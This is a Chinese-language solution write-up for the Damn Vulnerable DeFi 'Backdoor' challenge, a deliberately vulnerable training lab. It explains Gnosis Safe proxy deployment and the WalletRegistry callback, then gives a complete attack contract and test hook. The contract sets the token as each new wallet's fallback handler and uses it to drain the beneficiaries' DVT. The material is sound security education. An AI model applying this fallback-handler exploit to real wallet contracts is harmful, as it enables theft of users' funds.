Damn Vulnerable DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。
題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/11.html
題目描述:
為了激勵創建更安全的錢包,有人部署了 WalletRegistry 合約。當有人在該合約中註冊為受益人並創建 Gnosis Safe 錢包,將獲得 10 個 DVT 代幣到錢包中
目前有四人登記為受益人:Alice、Bob、Charlie 和 David。WalletRegistry 合約中有 40 個 DVT。
你的目標是從盜取這 40 個 DVT
開始之前你需要先了解 代理合約、多簽錢包、EVM 內存佈局、Solidity 內聯匯編 相關的知識。此處不再贅述。
如果你已經了解了上述內容,接下來就可以正式開始了。
不過在此之前還是需要先介紹下 Gnosis Safe
1.3.0 版本的合約架構。Gnosis Safe
在部署階段有三個重要的合約
GnosisSafeProxyFactory
GnosisSafeProxy
GnosisSafe
GnosisSafe
是處理多簽邏輯的合約,是提前部署好的合約。在以太坊主網上的地址是 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552
當我們在 Gnosis Safe
網站上創建多簽錢包時,交互的合約實際上是 GnosisSafeProxyFactory
,該合約會創建並部署 GnosisSafeProxy
代理合約,代理合約的邏輯合約地址是已部署好的 GnosisSafe
合約。所以我們創建的多簽錢包實際上是 GnosisSafeProxy
代理合約。
由於採用的這種代理模式,將數據都存儲在 GnosisSafeProxy
合約中,有以下優點:
- 由於多簽邏輯是可以重用的,代理模式避免了邏輯合約重複被部署。可以為用戶創建多簽錢包節省
gas
費 - 數據將保存在用戶自己創建的錢包中,而不是統一存儲在邏輯合約中,做到每個多簽錢包的數據和邏輯分離。
GnosisSafeProxyFactory
部署代理合約核心方法是
function deployProxy(
address _singleton,
bytes memory initializer,
bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
require(isContract(_singleton), "Singleton contract not deployed");
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
if (initializer.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
}
}
該方法的參數如下:
_singleton
:已部署的邏輯合約地址initializer
:邏輯合約GnosisSafeProxy
的setup
方法的calldata
salt
:部署合約的salt
值,長度為 32 字節
函數內部使用了兩個內聯匯編函數 create2
和 call
,你可以在 evm.codes 查看相關的內容。
create2(value, offset, size, salt)
部署一個合約,並返回合約地址
value
:部署時發送到合約賬戶ETH
數量,單位是wei
offset
:內存的起始位置size
:從起始位置開始的長度salt
:部署合約的salt
值,長度為 32 字節
call(gas, address, value, argsOffset, argsSize, retOffset, retSize)
調用合約方法
gas
:需要的 gasaddress
:目標合約地址value
:調用目標合約轉入的 ETHargsOffset
:發送的calldata
在內存的起始位置argsSize
:發送的calldata
的長度retOffset
:返回值寫入內存的開始位置retSize
:返回值的長度
由於 deployProxy
是 internal
,所以 GnosisSafeProxyFactory
合約暴露了以下兩個方法供外部調用去創建代理合約
// 通過 nonce 創建代理合約
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
proxy = deployProxy(_singleton, initializer, salt);
emit ProxyCreation(proxy, _singleton);
}
// 創建代理合約並回調 callback 合約的 proxyCreated 方法
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
再回到題目中,合約 WalletRegistry
中繼承了 IProxyCreationCallback
,在上面的方法 createProxyWithCallback
有這樣一行代碼
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
當 callback
存在時,調用其 proxyCreated
方法。即如果 callback
是 WalletRegistry
中則調用其 proxyCreated
方法:
function proxyCreated(
GnosisSafeProxy proxy, // 代理合約
address singleton, // 邏輯合約地址
bytes calldata initializer, // 初始化的數據
uint256
) external override {
// 確保合約有 10 個 DVT
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
// 獲取錢包地址
address payable walletAddress = payable(proxy);
// 確保調用者是 GnosisSafeProxyFactory
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
// 確保 initializer 前四個字節是 GnosisSafe.setup 函數的 selector
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// 獲取錢包的所有者
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
// 確保 owner 是受益人(只有受益人才能是錢包的所有者)
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
// 取消 owner 作為受益人
_removeBeneficiary(walletOwner);
// 記錄 owner 擁有的錢包地址
wallets[walletOwner] = walletAddress;
// 轉入 10 DVT 到多簽錢包中
token.transfer(walletAddress, TOKEN_PAYMENT);
}
到目前為止可以做個總結:
WalletRegistry
合約可以添加受益人地址,受益人可以創建多簽錢包,並將 10 個DVT
轉到錢包地址中- 創建多簽錢包需要調用
GnosisSafeProxyFactory
合約的createProxyWithCallback
方法- 調用
createProxyWithCallback
可以傳入callback
用來回調proxyCreated
方法 - 創建錢包的過程中如果存在
initializer
,則會調用。
- 調用
目前有四個受益人,所以可以創建四個多簽錢包,每個錢包中有 10 個 DVT
。
目標是從多簽錢包中取出這些 DVT
。但是我們並不是錢包的所有人,因此要想辦法可以轉移 DVT
到自己的賬戶中。
關鍵還是在於 initializer
的值。前面提到過 initializer
是邏輯合約 GnosisSafe
的 setup
方法的 calldata
,創建錢包時會調用該方法, setup
方法的實現如下
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
方法參數:
_owners
:錢包所有者們_threshold
:發起交易時,最少需要同意的人數to
:執行delegtecall
合約地址data
:執行delegtecall
的calldata
fallbackHandler
:調用不存在的方法時的處理合約paymentToken
:支付的 token 地址payment
:支付額paymentReceiver
:支付的接收人
fallbackHandler
是一個合約地址,當我們調用不存在的方法時會調用 fallbackHandler
中的同名方法,如調用 transfer
時, GnosisSafe
中沒有此方法,故會調用 fallbackHandler.transfer
。因此可以將 fallbackHandler
設置為 DVT
合約的地址。並傳入相關參數。
以下是攻擊合約 BackdoorAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "../backdoor/WalletRegistry.sol";
interface IGnosisSafe {
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external;
}
contract BackdoorAttack {
constructor (
address registry,
address masterCopy,
GnosisSafeProxyFactory walletFactory,
IERC20 token,
address[] memory beneficiaries
) {
// 遍歷受益人, 創建錢包
for (uint i = 0; i < beneficiaries.length; i++) {
address beneficiary = beneficiaries[i];
address[] memory owners = new address[](1);
owners[0] = beneficiary;
bytes memory initializer = abi.encodeWithSelector(
IGnosisSafe.setup.selector, // setup 方法的 selector
// 以下是 setup 方法的參數
owners, // _owners
1, // _threshold
address(0), // to
hex"00", // data
address(token), // fallbackHandler
address(0), // paymentToken
0, // paymentToken
address(0x0) // paymentReceiver
);
// 創建錢包
GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
masterCopy, // 邏輯合約地址
initializer, // setup calldata
0, // saltNonce
WalletRegistry(registry) // callback
);
address wallet = address(proxy);
// 調用錢包(代理合約)的 transfer 方法,相當於調用邏輯合約的 transfer 方法。即相當於調用 fallbackHandler.transfer,也即 token.transfer
IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
}
}
}
在測試文件 backdoor.challenge.js
添加攻擊入口
it('Exploit', async function () {
await ethers.getContractFactory('BackdoorAttack', attacker).then(contract => contract.deploy(
this.walletRegistry.address,
this.masterCopy.address,
this.walletFactory.address,
this.token.address,
users
))
})
最後執行 yarn backdoor
測試通過!